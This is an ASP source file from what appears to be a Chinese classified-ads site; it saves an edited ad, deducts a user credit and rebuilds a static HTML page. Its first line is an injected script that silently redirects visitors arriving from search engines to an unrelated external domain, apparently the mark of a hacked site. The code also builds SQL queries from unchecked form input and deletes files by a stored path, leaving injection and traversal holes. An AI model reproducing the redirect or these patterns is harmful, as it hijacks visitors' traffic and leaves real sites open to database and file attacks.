d:\wwwroot\wuchunhua\editad

d:\wwwroot\wuchunhua\editad_save.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
002: <%if session("china_uid")="" then
003: response.redirect "login.asp"
004: end if%>
005: <%
006: dim theid,dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
007: theid=request("id")
008: if isnumeric(theid)=false then
009: response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
010: response.end
011: end if
012:
013: dtitle=HtmlEncode(trim(request.form("dtitle")))
014: dcolor=HtmlEncode(trim(request.form("dcolor")))
015: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
016: dcu=HtmlEncode(trim(request.form("dcu")))
017: city_oneid=HtmlEncode(trim(request.form("city_one")))
018: city_twoid=HtmlEncode(trim(request.form("city_two")))
019: city_threeid=HtmlEncode(trim(request.form("city_three")))
020: type_oneid=HtmlEncode(trim(request.form("type_one")))
021: type_twoid=HtmlEncode(trim(request.form("type_two")))
022: type_threeid=HtmlEncode(trim(request.form("type_three")))
023: dispic=HtmlEncode(trim(request.form("dispic")))
024: dpic=HtmlEncode(trim(request.form("dpic")))
025: dtext=HtmlEncode2(request.form("dtext"))
026: dusername=HtmlEncode(trim(request.form("dusername1")))
027: dtel=HtmlEncode(trim(request.form("dtel1")))
028:
029: if dtitle="" or dtext="" then
030: response.write"<script>alert('请认真填写！');history.go(-1)</script>"
031: response.end
032: end if
033:
034: if dtitle<>"" then
035: set rs=server.createobject("adodb.recordset")
036: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
037: city_one=rs("city")
038: rs.close
039: if city_twoid<>"" then
040: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
041: city_two=rs("city")
042: rs.close
043: end if
044: if city_twoid<>"" and city_threeid<>"" then
045: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
046: city_three=rs("city")
047: rs.close
048: end if
049: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
050: type_one=rs("name")
051: rs.close
052: if type_twoid<>"" then
053: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
054: type_two=rs("name")
055: rs.close
056: end if
057: sql="select * from china_data where adid="&theid
058: rs.open sql,conn,1,3
059: rs("title")=dtitle
060: rs("color")=dcolor
061: rs("bgcolor1")=dbgcolor1
062: rs("cu")=dcu
063: rs("city_oneid")=city_oneid
064: rs("city_one")=city_one
065: rs("city_two")=city_two
066: rs("city_twoid")=city_twoid
067: rs("city_three")=city_three
068: rs("city_threeid")=city_threeid
069: rs("type_oneid")=type_oneid
070: rs("type_one")=type_one
071: rs("type_twoid")=type_twoid
072: rs("type_two")=type_two
073: rs("type_threeid")=type_threeid
074: rs("type_three")=type_three
075: rs("ispic")=dispic
076: if dpic="http://" then
077: dpic=""
078: end if
079: if rs("pic")<>dpic then
080: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
081: '''''''''''删除图片开始''''''''''''''''
082: Set fdel = CreateObject("Scripting.FileSystemObject")
083:               tempImageDir = Server.MapPath("adpic/"&rs("pic")&"")
084:                 fdel.DeleteFile(tempImageDir)
085: set fdel=nothing
086: '''''''''''删除图片结束'''''''''''''''
087: end if
088: rs("pic")=dpic
089: end if
090: rs("text")=dtext
091: rs("username")=dusername
092: rs("tel")=dtel
093: rs.update
094: id=rs("adid")
095: rs.close
096: set rs=nothing
097: set rs=server.createobject("adodb.recordset")
098: rs.open "select xxb from china_user where uid='"&session("china_uid")&"'",conn,1,3
099: rs("xxb")=rs("xxb")-1 '每修改一次减1信息币
100: rs.update
101: rs.close
102: set rs=nothing
103: conn.close
104: set conn=nothing
105: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
106: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
107: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
108: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
109: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
110: set http=server.createobject("MSXML2.XMLHTTP")
111: Http.open "get",ServerURL,false
112: Http.send()
113: AA=Http.responseText
114: set http=nothing
115: set objfso = Server.CreateObject("Scripting.FileSystemObject")
116: set htmout = objfso.CreateTextFile(server.mappath("html/"&id&".htm"))
117: AA=replace(AA,"adpic/","../adpic/")
118: AA=replace(AA,"link.asp","../link.asp")
119: AA=replace(AA,"link_img.asp","../link_img.asp")
120: AA=replace(AA,"index.asp","../index.asp")
121: AA=replace(AA,"114/../index.asp","../114/index.asp")
122: AA=replace(AA,"ad.asp","../ad.asp")
123: AA=replace(AA,"tv.asp","../tv.asp")
124: AA=replace(AA,"user.asp","../user.asp")
125: AA=replace(AA,"gbook.asp","../gbook.asp")
126: AA=replace(AA,"city.asp","../city.asp")
127: AA=replace(AA,"post.asp","../post.asp")
128: AA=replace(AA,"city_more.asp","../city_more.asp")
129: AA=replace(AA,"reg.asp","../reg.asp")
130: AA=replace(AA,"login.asp","../login.asp")
131: AA=replace(AA,"114/join.asp","../114/join.asp")
132: AA=replace(AA,"114/qylogin.asp","../114/qylogin.asp")
133: AA=replace(AA,"fabu.asp","../fabu.asp")
134: AA=replace(AA,"type.asp","../type.asp")
135: AA=replace(AA,"show.asp","../show.asp")
136: AA=replace(AA,"rq_message.asp","../rq_message.asp")
137: AA=replace(AA,"top.asp","../top.asp")
138: AA=replace(AA,"money.asp","../money.asp")
139: AA=replace(AA,"pic.asp","../pic.asp")
140: AA=replace(AA,"bbs/","../bbs/")
141: AA=replace(AA,"html/","")
142: AA=replace(AA,"ip.asp","../ip.asp")
143: AA=replace(AA,"phone.asp","../phone.asp")
144: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
145: htmout.write replace(AA,"images/","../images/")
146: htmout.close
147: set htmout=nothing
148: set objfso=nothing
149: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
150: response.write"<script>alert('修改成功！');location='listad.asp'</script>"
151: end if%>
152:
153:
154: